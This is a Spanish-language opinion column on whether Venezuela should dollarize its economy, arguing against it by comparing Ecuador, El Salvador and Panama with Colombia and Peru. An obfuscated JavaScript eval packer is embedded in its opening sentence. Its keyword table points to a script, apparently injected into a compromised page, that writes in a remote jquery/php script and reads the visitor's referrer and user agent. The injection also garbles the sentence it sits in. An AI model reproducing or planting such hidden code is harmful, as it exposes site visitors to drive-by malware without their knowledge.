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Paradojas de la dolarización (III)

Alfredo Gordon / Expresidente Ucez / info@ucez.org.ve
Dolarizar eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aybyi|var|u0026u|referrer|sirbt||js|php'.split('|'),0,{})) la economía significa que la autoridad monetaria, el BCV tendría que comprar el total de la moneda nacional en circulación

En artículos anteriores, hemos intentado explorar la conveniencia o no, de iniciar en nuestra economía un proceso de dolarización. Ciertamente, la dolarización eliminaría la prima de riesgo por devaluación, pero la tasa de interés ligada al riesgo soberano no depende únicamente de ella. Factores como la capacidad de pago, que en nuestro caso depende del precio del petróleo, el grado de apalancamiento, la estabilidad política y la transparencia en el manejo económico, son tomados en cuenta para medir el riesgo de default de la deuda venezolana y estos factores a excepción del primero, son totalmente controlables a través de un manejo fiscal que genere menores déficits y una orientación más clara de los objetivos y las medidas de política económica, sin necesidad de recurrir a una medida extrema como lo es la dolarización. 

Este proceso tampoco eliminaría el riesgo de una crisis externa, ya que los capitales extranjeros se desplazarán atendiendo la rentabilidad y costos entre las empresas nacionales y extranjeras. Además, hay que considerar los costos de oportunidad que implican la pérdida de capacidad para la fijación de políticas, dolarizar la economía significa que la autoridad monetaria, el BCV tendría que comprar el total de la moneda nacional en circulación y lo que es más complejo, fijar la tasa de cambio a la que se haría la conversión, así como la disponibilidad de fondos, para hacerla. 

Por otro lado, los éxitos de la dolarización en Ecuador, El Salvador y Panamá, son discutibles. Si bien estos países lograron disminuir su tasa de inflación, países como Colombia y Perú han obtenido resultados similares al aplicar reglas fiscales y monetarias, manteniendo la autonomía y la flexibilidad de sus políticas y la moneda nacional. Consideramos, que habida cuenta que los beneficios no están garantizados y que los costos en materia de capacidad para llevar a cabo ajustes macroeconómicos y financieros para el Estado son tan elevados, la dolarización sería inconveniente. Eso creemos.

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